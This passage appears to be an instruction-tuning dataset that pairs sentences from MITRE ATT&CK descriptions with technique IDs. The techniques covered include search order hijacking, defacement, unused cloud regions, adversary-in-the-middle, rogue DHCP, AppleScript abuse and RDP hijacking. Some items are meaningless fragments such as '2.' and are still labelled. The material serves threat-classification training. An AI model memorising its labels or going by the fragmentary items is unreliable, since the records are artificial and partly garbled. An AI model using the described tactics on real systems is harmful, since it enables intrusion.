directory. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users.", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity.", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site)", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government.", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation:", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trend Micro Deep Dive Into Defacement)", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trend Micro Deep Dive Into Defacement) ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems.", "output": "T1491.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. ### Response: T1491.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster)", "output": "T1491.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) ### Response: T1491.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages.", "output": "T1491.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. ### Response: T1491.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1491.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1491.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content.", "output": "T1491", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. ### Response: T1491."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion.", "output": "T1491", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. ### Response: T1491."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.", "output": "T1491", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. ### Response: T1491."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection.", "output": "T1535", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create cloud instances in unused geographic service regions in order to evade detection. ### Response: T1535."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access is usually obtained through compromising accounts used to manage cloud infrastructure.", "output": "T1535", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access is usually obtained through compromising accounts used to manage cloud infrastructure. ### Response: T1535."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements.", "output": "T1535", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. ### Response: T1535."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions.", "output": "T1535", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. ### Response: T1535."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary creates resources in an unused region, they may be able to operate undetected.", "output": "T1535", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary creates resources in an unused region, they may be able to operate undetected. ### Response: T1535."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variation on this behavior takes advantage of differences in functionality across cloud regions.", "output": "T1535", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variation on this behavior takes advantage of differences in functionality across cloud regions. ### Response: T1535."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.", "output": "T1535", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. ### Response: T1535."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)", "output": "T1535", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions) ### Response: T1535."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040),", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131)", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The typical server-client interaction is as follows: \n\n1.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The typical server-client interaction is as follows: \n\n1. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The client broadcasts a `DISCOVER` message.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The client broadcasts a `DISCOVER` message. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "2.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 2. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The server responds with an `OFFER` message, which includes an available network address.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The server responds with an `OFFER` message, which includes an available network address. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "3.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 3. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The client broadcasts a `REQUEST` message, which includes the network address offered.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The client broadcasts a `REQUEST` message, which includes the network address offered. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "4.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 4. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The server acknowledges with an `ACK` message and the client receives the network configuration parameters.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The server acknowledges with an `ACK` message and the client receives the network configuration parameters. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g)", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002))", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC).", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These messages can be easily scripted with AppleScript for local or remote IPC.", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These messages can be easily scripted with AppleScript for local or remote IPC. ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts.", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AppleEvent messages can be sent independently or as part of a script.", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AppleEvent messages can be sent independently or as part of a script. ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes.", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely.", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs).", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.", "output": "T1155", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. ### Response: T1155."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote desktop is a common feature in operating systems.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote desktop is a common feature in operating systems. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session.", "output": 